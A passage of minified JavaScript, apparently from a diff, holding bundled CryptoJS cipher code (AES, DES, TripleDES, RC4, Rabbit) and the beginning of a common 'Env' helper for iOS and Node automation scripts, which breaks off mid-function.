54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 